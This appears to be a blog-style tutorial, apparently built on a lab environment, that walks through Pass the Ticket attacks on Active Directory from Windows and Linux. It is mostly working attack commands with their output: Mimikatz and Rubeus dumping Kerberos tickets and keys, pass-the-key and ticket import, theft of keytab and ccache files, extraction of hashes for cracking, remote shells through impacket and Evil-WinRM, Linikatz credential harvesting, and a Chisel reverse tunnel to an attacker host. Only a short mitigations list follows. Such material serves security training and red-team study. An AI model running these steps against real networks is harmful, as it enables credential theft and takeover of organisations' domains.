Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Pass the Ticket (PtT) Attacks

A Pass the Ticket (PtT) attack uses a stolen Kerberos ticket to move laterally in an Active Directory environment instead of an NTLM password hash. This technique leverages the Kerberos authentication protocol to access resources without needing the user’s plaintext password.

Kerberos Protocol Overview

The Kerberos authentication system is ticket-based. Instead of giving an account password to every service, Kerberos keeps all tickets on your local system and presents each service only the specific ticket for that service.

Key Components

ComponentDescription
TGT (Ticket Granting Ticket)First ticket obtained on a Kerberos system. Permits the client to obtain additional Kerberos tickets (TGS).
TGS (Ticket Granting Service)Requested by users who want to use a service. Allows services to verify the user’s identity.
KDC (Key Distribution Center)Issues tickets to clients. Usually runs on the Domain Controller.

Authentication Flow

  1. User requests a TGT by authenticating to the DC (encrypting current timestamp with their password hash)
  2. DC validates the user’s identity by decrypting the timestamp (DC knows the user’s password hash)
  3. DC sends the user a TGT for future requests
  4. User presents TGT to request TGS for specific services
  5. User presents TGS to the target service for authentication

Once the user has their TGT, they do not have to prove who they are with their password again.


Prerequisites

To perform a Pass the Ticket attack, you need a valid Kerberos ticket:

  • Service Ticket (TGS) - Allows access to a particular resource
  • Ticket Granting Ticket (TGT) - Can be used to request service tickets for any resource the user has privileges to access

Tickets are processed and stored by the LSASS (Local Security Authority Subsystem Service) process. As a non-administrative user, you can only get your own tickets. As a local administrator, you can collect all tickets on the system.


Harvesting Kerberos Tickets

Using Mimikatz

Export all tickets from the system:

c:\tools> mimikatz.exe

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::tickets /export

Authentication Id : 0 ; 329278 (00000000:0005063e)
Session           : Network from 0
User Name         : DC01$
Domain            : HTB
Logon Server      : (null)
Logon Time        : 7/12/2022 9:39:55 AM
SID               : S-1-5-18

         * Username : DC01$
         * Domain   : inlanefreight.htb
         * Password : (null)

        Group 0 - Ticket Granting Service

        Group 1 - Client Ticket ?
         [00000000]
           Start/End/MaxRenew: 7/12/2022 9:39:55 AM ; 7/12/2022 7:39:54 PM ;
           Service Name (02) : LDAP ; DC01.inlanefreight.htb ; inlanefreight.htb ; @ inlanefreight.htb
           Target Name  (--) : @ inlanefreight.htb
           Client Name  (01) : DC01$ ; @ inlanefreight.htb
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 5        [...]
           * Saved to file [0;5063e]-1-0-40a50000-DC01$@LDAP-DC01.inlanefreight.htb.kirbi !

        Group 2 - Ticket Granting Ticket

The result is a list of .kirbi files containing the tickets.

Ticket Naming Convention:

  • Tickets ending with $ correspond to computer accounts
  • User tickets: [randomvalue]-username@service-domain.local.kirbi
  • Tickets with service krbtgt correspond to the TGT for that account

Using Rubeus

Export tickets in Base64 format (use /nowrap for easier copy-paste):

c:\tools> Rubeus.exe dump /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

Action: Dump Kerberos Ticket Data (All Users)

[*] Current LUID    : 0x6c680
    ServiceName           :  krbtgt/inlanefreight.htb
    ServiceRealm          :  inlanefreight.htb
    UserName              :  DC01$
    UserRealm             :  inlanefreight.htb
    StartTime             :  7/12/2022 9:39:54 AM
    EndTime               :  7/12/2022 7:39:54 PM
    RenewTill             :  7/19/2022 9:39:54 AM
    Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
    KeyType               :  aes256_cts_hmac_sha1
    Base64(key)           :  KWBMpM4BjenjTniwH0xw8FhvbFSf+SBVZJJcWgUKi3w=
    Base64EncodedTicket   :  doIE1jCCBNKgAwIBBaEDAgEWooID7TCCA+lh...

Note: Mimikatz version 2.2.0 20220919 may show all hashes as des_cbc_md4 on some Windows 10 versions. Exported tickets may not work correctly. Use Rubeus as an alternative.


Pass the Key / OverPass the Hash

This technique converts a hash/key (rc4_hmac, aes256_cts_hmac_sha1, etc.) for a domain-joined user into a full TGT.

Extract Kerberos Keys with Mimikatz

c:\tools> mimikatz.exe

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys

Authentication Id : 0 ; 444066 (00000000:0006c6a2)
Session           : Interactive from 1
User Name         : plaintext
Domain            : HTB
Logon Server      : DC01
Logon Time        : 7/12/2022 9:42:15 AM
SID               : S-1-5-21-228825152-3134732153-3833540767-1107

         * Username : plaintext
         * Domain   : inlanefreight.htb
         * Password : (null)
         * Key List :
           aes256_hmac       b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
           rc4_hmac_nt       3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_old      3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_md4           3f74aa8f08f712f09cd5177b5c1ce50f

Mimikatz - Pass the Key

Using NTLM hash (RC4):

mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f

user    : plaintext
domain  : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM    : 3f74aa8f08f712f09cd5177b5c1ce50f
  |  PID  1128
  |  TID  3268
  |  LSA Process is now R/W
  |  LUID 0 ; 3414364 (00000000:0034195c)
  \_ msv1_0   - data copy @ 000001C7DBC0B630 : OK !
  \_ kerberos - data copy @ 000001C7E20EE578
   \_ rc4_hmac_nt       OK
   \_ *Password replace @ 000001C7E2136BC8 (32) -> null

This spawns a new cmd.exe window in the context of the target user.

Rubeus - Pass the Key (asktgt)

Using AES-256 hash:

c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[*] Using domain controller: 10.129.203.120:88
[+] TGT request successful!
[*] Base64(ticket.kirbi):

      doIFqDCCBaSgAwIBBaEDAgEWooIEojCCBJ5hggSaMIIElqADAgEFoRMbEUlOTEFORUZSRUlHSFQuSFRC...

[+] Ticket successfully imported!

Pass the Ticket

Rubeus - Import .kirbi File

c:\tools> Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi

[*] Action: Import Ticket
[+] ticket successfully imported!

c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)
...

Rubeus - Import Base64 Ticket

Convert .kirbi to Base64:

PS c:\tools> [Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))

doQAAAWfMIQAAAWZoIQAAAADAgEFoYQAAAADAgEWooQAAAQ5MIQAAAQ...

Import Base64 ticket:

c:\tools> Rubeus.exe ptt /ticket:doQAAAWfMIQAAAWZoIQAAAADAgEFoYQAAAADAgEWooQAAAQ5MIQAAAQ...

[+] Ticket successfully imported!

Mimikatz - Pass the Ticket

mimikatz # kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"

* File: 'C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi': OK

mimikatz # exit
Bye!

c:\tools> powershell
PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john

Rubeus - Sacrificial Process for Lateral Movement

Using createnetonly creates a sacrificial process/logon session (Logon type 9), equivalent to runas /netonly. This prevents erasure of existing TGTs for the current logon session.

Create Sacrificial Process

C:\tools> Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show

[*] Action: Create process (/netonly)

[*] Using random username and password.

[*] Showing process : True
[*] Username        : JMI8CL7C
[*] Domain          : DTCDV6VL
[*] Password        : MRWI6XGI
[+] Process         : 'cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 1556
[+] LUID            : 0xe07648

Request TGT and Import in Sacrificial Process

From the new cmd window:

C:\tools> Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt

[+] TGT request successful!
[+] Ticket successfully imported!

C:\tools> powershell
PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01

Summary of Key Commands

ToolCommandPurpose
Mimikatzsekurlsa::tickets /exportExport all tickets to .kirbi files
Mimikatzsekurlsa::ekeysExtract Kerberos encryption keys
Mimikatzkerberos::ptt <file.kirbi>Import ticket into current session
Rubeusdump /nowrapDump all tickets in Base64
Rubeusasktgt /user:<user> /domain:<domain> /aes256:<hash> /pttRequest TGT with hash and import
Rubeusptt /ticket:<file or base64>Import ticket into current session
Rubeuscreatenetonly /program:cmd.exe /showCreate sacrificial logon session

Pass the Ticket from Linux

Linux computers connected to Active Directory commonly use Kerberos for authentication. If you compromise a Linux machine connected to AD, you can find Kerberos tickets to impersonate other users.

Note: A Linux machine doesn’t need to be domain-joined to use Kerberos tickets. Scripts and applications can use Kerberos to authenticate to the network.

Kerberos Ticket Storage on Linux

Storage TypeLocationDescription
ccache files/tmp/krb5cc_*Default ticket cache files, location stored in KRB5CCNAME environment variable
Keytab files/etc/krb5.keytab or customContains Kerberos principals and encrypted keys for passwordless authentication
SSSD cache/var/lib/sss/db/Used by SSSD for caching credentials

Identifying AD Integration

Check if the Linux machine is domain-joined:

# Using realm
david@linux01:~$ realm list

inlanefreight.htb
  type: kerberos
  realm-name: INLANEFREIGHT.HTB
  domain-name: inlanefreight.htb
  configured: kerberos-member
  server-software: active-directory
  client-software: sssd
  required-package: sssd-tools
  required-package: sssd
  login-formats: %U@inlanefreight.htb
  permitted-logins: david@inlanefreight.htb, julio@inlanefreight.htb
  permitted-groups: Linux Admins

Check for SSSD or Winbind services:

david@linux01:~$ ps -ef | grep -i "winbind\|sssd"

root  2140  1  0 Sep29 ?  00:00:01 /usr/sbin/sssd -i --logger=files
root  2141  2140  0 Sep29 ?  00:00:08 /usr/libexec/sssd/sssd_be --domain inlanefreight.htb --uid 0 --gid 0 --logger=files
root  2142  2140  0 Sep29 ?  00:00:03 /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
root  2143  2140  0 Sep29 ?  00:00:03 /usr/libexec/sssd/sssd_pam --uid 0 --gid 0 --logger=files

Finding Keytab Files

Search for keytab files:

david@linux01:~$ find / -name *keytab* -ls 2>/dev/null

131610  4 -rw-------  1 root  root  1348 Oct  4 16:26 /etc/krb5.keytab
262169  4 -rw-rw-rw-  1 root  root   216 Oct 12 15:13 /opt/specialfiles/carlos.keytab

Check for keytab references in cron jobs:

david@linux01:~$ crontab -l

# Ticket renewal
kinit -k -t /home/carlos@inlanefreight.htb/.scripts/kerberos/.]carlos.keytab carlos@inlanefreight.htb

Listing Keytab File Principals

david@linux01:~$ klist -k -t /opt/specialfiles/carlos.keytab

Keytab name: FILE:/opt/specialfiles/carlos.keytab
KVNO Timestamp           Principal
---- ------------------- ------------------------------------------------------
   1 10/06/2022 17:09:13 carlos@INLANEFREIGHT.HTB

Impersonating a User with Keytab

# Check current ticket
david@linux01:~$ klist

Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: david@INLANEFREIGHT.HTB

Valid starting     Expires            Service principal
10/06/22 17:02:11  10/07/22 03:02:11  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB

# Import keytab (kinit is case-sensitive!)
david@linux01:~$ kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab

# Verify new ticket
david@linux01:~$ klist

Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: carlos@INLANEFREIGHT.HTB

Valid starting     Expires            Service principal
10/06/22 17:16:11  10/07/22 03:16:11  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB

Access resources as the impersonated user:

david@linux01:~$ smbclient //dc01/carlos -k -c ls

  .                                   D        0  Thu Oct  6 14:46:26 2022
  ..                                  D        0  Thu Oct  6 14:46:26 2022
  carlos.txt                          A       15  Thu Oct  6 14:46:54 2022

Tip: Save your current ccache file before importing a keytab:

cp $KRB5CCNAME /tmp/krb5cc_backup

Extracting Hashes from Keytab Files

Use KeyTabExtract to extract hashes for offline cracking:

david@linux01:~$ python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab

[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
        REALM : INLANEFREIGHT.HTB
        SERVICE PRINCIPAL : carlos/
        NTLM HASH : a738f92b3c08b424ec2d99589a9cce60
        AES-256 HASH : 42ff0baa586963d9010584eb9590595e8cd47c489e25e82aae69b1de2943007f
        AES-128 HASH : fa74d5abf4061baa1d4ff8485d1261c4

With these hashes you can:

  • Perform Pass the Hash with the NTLM hash
  • Forge tickets using AES256/AES128 with Rubeus
  • Attempt to crack the hashes offline

Note: A keytab file can contain multiple credentials from different users.


Finding ccache Files

ccache files are stored in /tmp by default:

david@linux01:~$ ls -la /tmp/krb5cc_*

-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 10 19:55 /tmp/krb5cc_647401106_HRJDux
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1414 Oct 10 19:55 /tmp/krb5cc_647401106_R9a9hG
-rw------- 1 carlos@inlanefreight.htb domain users@inlanefreight.htb 3175 Oct 10 19:55 /tmp/krb5cc_647402606

Check the environment variable for custom locations:

david@linux01:~$ echo $KRB5CCNAME

Using ccache Files

Set the KRB5CCNAME variable to use a specific ccache file:

# As root, use another user's ccache
root@linux01:~# export KRB5CCNAME=/tmp/krb5cc_647401106_I8I133

root@linux01:~# klist

Ticket cache: FILE:/tmp/krb5cc_647401106_I8I133
Default principal: julio@INLANEFREIGHT.HTB

Valid starting       Expires              Service principal
10/07/2022 13:25:01  10/07/2022 23:25:01  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB

# Access resources
root@linux01:~# smbclient //dc01/C$ -k -c ls -no-pass

  $Recycle.Bin                      DHS        0  Wed Oct  6 17:31:14 2021
  Documents and Settings          DHSrn        0  Wed Oct  6 20:38:04 2021
  Program Files                      DR        0  Wed Oct  6 20:50:50 2021
  Users                              DR        0  Thu Oct  6 11:46:05 2022
  Windows                             D        0  Wed Oct  5 13:20:00 2022

Note: ccache files are temporary and may expire or change during login/logout operations. Check “Valid starting” and “Expires” times with klist.


Using Linux Attack Tools with Kerberos

Many Linux tools support Kerberos authentication. Set KRB5CCNAME to point to your ccache file.

Prerequisites for Non-Domain-Joined Attack Hosts

  1. Configure /etc/hosts to resolve domain names:
$ cat /etc/hosts

172.16.1.10 inlanefreight.htb   inlanefreight   dc01.inlanefreight.htb  dc01
172.16.1.5  ms01.inlanefreight.htb  ms01
  1. Set up a SOCKS proxy (e.g., with Chisel) if needed:
# On attack host
$ sudo ./chisel server --reverse

# On pivot host (MS01)
C:\> chisel.exe client ATTACKER_IP:8080 R:socks
  1. Configure proxychains:
$ cat /etc/proxychains.conf
[ProxyList]
socks5 127.0.0.1 1080

Using Impacket with Kerberos

# Set the ccache file
$ export KRB5CCNAME=/root/krb5cc_647401106_I8I133

# Use impacket tools with -k flag
$ proxychains impacket-wmiexec dc01 -k

[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01:445 ... OK
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
inlanefreight\julio

Using Evil-WinRM with Kerberos

$ proxychains evil-winrm -i dc01 -r inlanefreight.htb

[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01:5985 ... OK
*Evil-WinRM* PS C:\Users\julio\Documents> whoami ; hostname
inlanefreight\julio
DC01

Converting Tickets Between Formats

Use impacket-ticketConverter to convert between ccache (Linux) and kirbi (Windows) formats:

ccache to kirbi

$ impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] converting ccache to kirbi...
[+] done

Import kirbi in Windows

C:\tools> Rubeus.exe ptt /ticket:c:\tools\julio.kirbi

[*] Action: Import Ticket
[+] Ticket successfully imported!

C:\tools> klist

Cached Tickets: (1)

#0>     Client: julio @ INLANEFREIGHT.HTB
        Server: krbtgt/INLANEFREIGHT.HTB @ INLANEFREIGHT.HTB
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Start Time: 10/10/2022 5:46:02 (local)
        End Time:   10/10/2022 15:46:02 (local)

C:\tools> dir \\dc01\julio
 Directory of \\dc01\julio

07/14/2022  04:18 PM                17 julio.txt

Linikatz

Linikatz is a tool for extracting credentials from Linux machines integrated with Active Directory (similar to Mimikatz for Windows).

Requirements: Must run as root.

Supported integrations: FreeIPA, SSSD, Samba, Vintella, and more.

$ wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
$ chmod +x linikatz.sh
$ sudo ./linikatz.sh

 _ _       _ _         _
| (_)_ __ (_) | ____ _| |_ ____
| | | '_ \| | |/ / _` | __|_  /
| | | | | | |   < (_| | |_ / /
|_|_|_| |_|_|_|\_\__,_|\__/___|

             =[ @timb_machine ]=

I: [sss-check] SSS AD configuration
I: [kerberos-check] Kerberos configuration
-rw-r--r-- 1 root root 2800 Oct  7 12:17 /etc/krb5.conf
-rw------- 1 root root 1348 Oct  4 16:26 /etc/krb5.keytab
I: [kerberos-check] User Kerberos tickets
Ticket cache: FILE:/tmp/krb5cc_647401106_HRJDux
Default principal: julio@INLANEFREIGHT.HTB
...

Linikatz extracts credentials and places them in a folder named linikatz.* containing ccache and keytab files.


Linux PtT Command Summary

CommandPurpose
realm listCheck if machine is domain-joined
find / -name *keytab* -ls 2>/dev/nullFind keytab files
klist -k -t <keytab>List principals in keytab
kinit <user> -k -t <keytab>Import keytab and get TGT
klistList current Kerberos tickets
export KRB5CCNAME=<ccache>Set ccache file to use
smbclient //<host>/<share> -kAccess SMB with Kerberos
impacket-ticketConverter <in> <out>Convert ccache/kirbi formats

Mitigations

  • Enable Credential Guard to protect LSASS
  • Use Protected Users security group for sensitive accounts
  • Implement Privileged Access Workstations (PAWs)
  • Monitor for suspicious Kerberos activity (Event IDs 4768, 4769)
  • Regularly rotate service account passwords
  • Limit the lifetime of Kerberos tickets via Group Policy
  • Restrict permissions on keytab and ccache files on Linux systems
  • Use short-lived tickets and enforce ticket renewal

References